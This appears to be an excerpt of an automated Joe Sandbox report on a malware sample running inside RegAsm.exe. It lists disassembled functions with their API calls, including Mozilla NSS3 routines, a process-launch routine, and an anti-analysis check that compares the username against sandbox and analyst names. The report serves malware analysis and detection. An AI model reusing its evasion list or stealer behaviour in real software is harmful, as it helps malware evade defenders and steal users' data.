PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C28505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C285071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C285089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2850A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C2850B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C2375C2), ref: 6C2850CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2850D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C2850F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C285103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C28511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C28512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C285145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C285153
free.MOZGLUE(?), ref: 6C28516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C28517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C285195

Strings

name=, xrefs: 6C285057
config=, xrefs: 6C28509B
parameters=, xrefs: 6C28506B
library=, xrefs: 6C285043
nss=, xrefs: 6C285083

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 775fbe922aff872953e587c15027c1f38dd6b883ea2dc603feb1d2fbb8229952
Instruction ID: 87380180e4dd6d2a50263596e3e4ddff14729bebca63a62590859a4a08c1c8be
Opcode Fuzzy Hash: 775fbe922aff872953e587c15027c1f38dd6b883ea2dc603feb1d2fbb8229952
Instruction Fuzzy Hash: EC518BB5A1211A5BFB01DF24DC41A9B37A86F06249F540030FC56E7781EB25E91DCBB6

Function 6C284C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C274F51,00000000), ref: 6C284C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C274F51,00000000), ref: 6C284C5B
PR_smprintf.NSS3(6C35AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C274F51,00000000), ref: 6C284C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C274F51,00000000), ref: 6C284CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C284CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C284CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C284D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C274F51,00000000), ref: 6C284D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C274F51,00000000), ref: 6C284D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C284D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C284DA2
free.MOZGLUE(?), ref: 6C284DB9
free.MOZGLUE(00000000), ref: 6C284DCF

Strings

every, xrefs: 6C284CA1
0x%08lx=[%s %s], xrefs: 6C284D80
rootFlags, xrefs: 6C284D47
slotFlags, xrefs: 6C284D34
any, xrefs: 6C284C96
rust, xrefs: 6C284D22
ootT, xrefs: 6C284D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C284D9D
timeout, xrefs: 6C284C91
%s,%s, xrefs: 6C284C4B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 15d4144c0a9f6b6bde0b24402ca9520356682c6954aee52ff2b31df7931bd557
Instruction ID: 4ca20c7baec47a63949cdde4e4d5fc2814634617a797b40c73e9c648a7d9ad2b
Opcode Fuzzy Hash: 15d4144c0a9f6b6bde0b24402ca9520356682c6954aee52ff2b31df7931bd557
Instruction Fuzzy Hash: C941A0F9D0124A67DB125F149C54ABB7A6DAF82309F484134FC095BB81E735D928CBE3

Function 6C266CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C266910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C266943
Part of subcall function 6C266910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C266957
Part of subcall function 6C266910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C266972
Part of subcall function 6C266910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C266983
Part of subcall function 6C266910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C2669AA
Part of subcall function 6C266910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C2669BE
Part of subcall function 6C266910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C2669D2
Part of subcall function 6C266910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C2669DF
Part of subcall function 6C266910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C266A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C266D8C
free.MOZGLUE(00000000), ref: 6C266DC5
free.MOZGLUE(?), ref: 6C266DD6
free.MOZGLUE(?), ref: 6C266DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C266E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C266E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C266E72
free.MOZGLUE(?), ref: 6C266EA7
free.MOZGLUE(?), ref: 6C266EC4
free.MOZGLUE(?), ref: 6C266ED5
free.MOZGLUE(00000000), ref: 6C266EE3
free.MOZGLUE(?), ref: 6C266EF4
free.MOZGLUE(?), ref: 6C266F08
free.MOZGLUE(00000000), ref: 6C266F35
free.MOZGLUE(?), ref: 6C266F44
free.MOZGLUE(?), ref: 6C266F5B
free.MOZGLUE(00000000), ref: 6C266F65

Part of subcall function 6C266C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C26781D,00000000,6C25BE2C,?,6C266B1D,?,?,?,?,00000000,00000000,6C26781D), ref: 6C266C40
Part of subcall function 6C266C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C26781D,?,6C25BE2C,?), ref: 6C266C58
Part of subcall function 6C266C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C26781D), ref: 6C266C6F
Part of subcall function 6C266C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C266C84
Part of subcall function 6C266C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C266C96
Part of subcall function 6C266C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C266CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C266F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C266FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C266FF4

Strings

+`'l, xrefs: 6C266D0D

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`'l
API String ID: 1304971872-2153882389
Opcode ID: 614ac0d1f99dffabe2ad7240ed4d58ff0d12c472102431b064522ae3cae3eb54
Instruction ID: 8224948754a1c05a7f454c4caa417a68bdb2d29c2432cde35e5e6f0db4a38f48
Opcode Fuzzy Hash: 614ac0d1f99dffabe2ad7240ed4d58ff0d12c472102431b064522ae3cae3eb54
Instruction Fuzzy Hash: 44B131B4E0121E9BDF01DBA6D8C4B9EB7B8AF0524AF140125EC15E7A41E731E994CBB1

Function 00401927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00401A13
lstrcmpiA.KERNEL32(0043ABCC,?), ref: 00401A2E

Strings

sandbox, xrefs: 004019C3
Miller, xrefs: 00401991
milozs, xrefs: 0040199B
test user, xrefs: 004019E1
malware, xrefs: 004019CD
maltest, xrefs: 004019D7
WDAGUtilityAccount, xrefs: 004019FF
Peter Wilson, xrefs: 004019A5
virus, xrefs: 004019EB
IT-ADMIN, xrefs: 0040197D
timmy, xrefs: 004019AF
Sand box, xrefs: 00401955
HAPUBWS, xrefs: 00401969
Johnson, xrefs: 00401987
user, xrefs: 004019B9
John Doe, xrefs: 004019F5
Emily, xrefs: 0040195F
CurrentUser, xrefs: 0040194B
Hong Lee, xrefs: 00401973

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: a14623c780237b748c23d57be73366fad00cd6805492050cb9e0f9165e120a21
Instruction ID: b7e7ac9f27e83d335140a50ac772a364dc2a7579303695bb9c42e1fce2a6af08
Opcode Fuzzy Hash: a14623c780237b748c23d57be73366fad00cd6805492050cb9e0f9165e120a21
Instruction Fuzzy Hash: B42103B094526C8BCB20CF159D4C6DDBBB5AB5D308F00B1DAD1886A210C7B85ED9CF4D

Function 6C25AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C25AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C25AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C25AF83

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C25AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C25AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C25AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C25AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C25B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C25B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C25B041

Strings

pulSignatureLen = 0x%p, xrefs: 6C25B03C
ulDataLen = %d, xrefs: 6C25B00A
ulParameterLen = 0x%p, xrefs: 6C25AFD4
pData = 0x%p, xrefs: 6C25AFEF
hSession = 0x%x, xrefs: 6C25AF5E, 6C25AF6E
n3l, xrefs: 6C25B059, 6C25B093
pParameter = 0x%p, xrefs: 6C25AFB9
C_SignMessage, xrefs: 6C25AF41
pSignature = 0x%p, xrefs: 6C25B023
(CK_INVALID_HANDLE), xrefs: 6C25AF7C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$n3l
API String ID: 1003633598-3746649188
Opcode ID: ac64d4118a7eca72f6f257c4d446cd80880288ea740b123a80eb6f5e797f26f3
Instruction ID: 3922901fac0d2ddc8b2706b3a16a42d4f70ed13d6d7032f50937369822cd21ae
Opcode Fuzzy Hash: ac64d4118a7eca72f6f257c4d446cd80880288ea740b123a80eb6f5e797f26f3
Instruction Fuzzy Hash: F841B775602158EFDB008F54DD88E9E77B5AB4730DF858024FD1857B21DB3A8868CFA6

Function 0041260C Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 204stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

_memset.LIBCMT ref: 004127B1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 004127C3
lstrcatA.KERNEL32(?,00436698), ref: 004127D5
lstrcatA.KERNEL32(?,7fb8096dba7218243f8f6f7a994751d3), ref: 004127E7
lstrcatA.KERNEL32(?,0043669C), ref: 004127F9
lstrcatA.KERNEL32(?,?), ref: 00412809
lstrcatA.KERNEL32(?,004366A0), ref: 0041281B
lstrlenA.KERNEL32(?), ref: 00412824
lstrcatA.KERNEL32(?,EMPTY), ref: 00412840
lstrcatA.KERNEL32(?,004366AC), ref: 00412852
lstrcatA.KERNEL32(?,?), ref: 00412862
lstrcatA.KERNEL32(?,004366B0), ref: 00412874
lstrlenA.KERNEL32(?), ref: 00412881
_memset.LIBCMT ref: 004128B7

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,004366B4,?), ref: 00412924
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00412932

Strings

EMPTY, xrefs: 0041283A
7fb8096dba7218243f8f6f7a994751d3, xrefs: 004127DB
.exe, xrefs: 0041264F

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$7fb8096dba7218243f8f6f7a994751d3$EMPTY
API String ID: 141474312-3682316370
Opcode ID: 7423630355bc0ae080dcc3895a676b474c595fadf28ca0ec63f6465bb34c18d8
Instruction ID: 30b7237e4d63740a0c3ffa21d4e9ba1d0fd5571b7a7901b34f1eecf9535dda31
Opcode Fuzzy Hash: 7423630355bc0ae080dcc3895a676b474c595fadf28ca0ec63f6465bb34c18d8
Instruction Fuzzy Hash: 99814FB2E40129ABCF11EF61DD46ACD7779AB08309F4054BAB708B3051D679AFC98F58

Function 6C262D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C262DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C262E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C262E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C262E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C234F1C,?,-00000001,00000000,?), ref: 6C262E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C234F1C,?,-00000001,00000000), ref: 6C262E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C262EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C262EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C262EF8
PR_Unlock.NSS3(?), ref: 6C262F62
TlsGetValue.KERNEL32 ref: 6C262F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C262F9E
PR_Unlock.NSS3(?), ref: 6C262FCA
TlsGetValue.KERNEL32 ref: 6C26301A
EnterCriticalSection.KERNEL32(?), ref: 6C26302E
PR_Unlock.NSS3(?), ref: 6C263066
PR_SetError.NSS3(00000000,00000000), ref: 6C263085
PR_Unlock.NSS3(?), ref: 6C2630EC
TlsGetValue.KERNEL32 ref: 6C26310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C263124
PR_Unlock.NSS3(?), ref: 6C26314C

Part of subcall function 6C249180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C27379E,?,6C249568,00000000,?,6C27379E,?,00000001,?), ref: 6C24918D
Part of subcall function 6C249180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C27379E,?,6C249568,00000000,?,6C27379E,?,00000001,?), ref: 6C2491A0

Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107AD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107CD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107D6
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1A204A), ref: 6C2107E4
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,6C1A204A), ref: 6C210864
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C210880
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,6C1A204A), ref: 6C2108CB
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108D7
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108FB

PR_SetError.NSS3(00000000,00000000), ref: 6C26316D

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: a1506b1f4794fe212603605046f81c4d1dcf2e889b79df7b3b9def6e39d89c37
Instruction ID: 24ddc447ef344e418a6b0f0c93911e115ea85b8283e89253c11a4d598ecaa287
Opcode Fuzzy Hash: a1506b1f4794fe212603605046f81c4d1dcf2e889b79df7b3b9def6e39d89c37
Instruction Fuzzy Hash: A6F1ADB5D00209DFDF01DF69D884B9ABBB8BF09318F144169EC05A7B11EB31E995CBA1

Function 6C258820 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C258846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C258874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C258883

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C258899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C2588BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C2588D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C2588EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C258907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C258979

Strings

*pulPartLen = 0x%x, xrefs: 6C258974
hSession = 0x%x, xrefs: 6C25885E, 6C25886E
n3l, xrefs: 6C258921, 6C258955
C_DecryptVerifyUpdate, xrefs: 6C258841
pEncryptedPart = 0x%p, xrefs: 6C2588B5
pPart = 0x%p, xrefs: 6C2588E7
ulEncryptedPartLen = %d, xrefs: 6C2588CE
pulPartLen = 0x%p, xrefs: 6C258902
(CK_INVALID_HANDLE), xrefs: 6C25887C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate$n3l
API String ID: 1003633598-3915567451
Opcode ID: d12edfb1fc4806a7bbce53328f2e0a9e42a74292b4c961ec441d3ca160cff138
Instruction ID: 53aa67d81b66b677f99a34791c26ff6f66b0ec3e73136fc38bbd0bcb1d6694e2
Opcode Fuzzy Hash: d12edfb1fc4806a7bbce53328f2e0a9e42a74292b4c961ec441d3ca160cff138
Instruction Fuzzy Hash: F241D375602158AFDB00DB54DD88E8B3BB9EB4321DF858025EC086BB21DB359928CF92

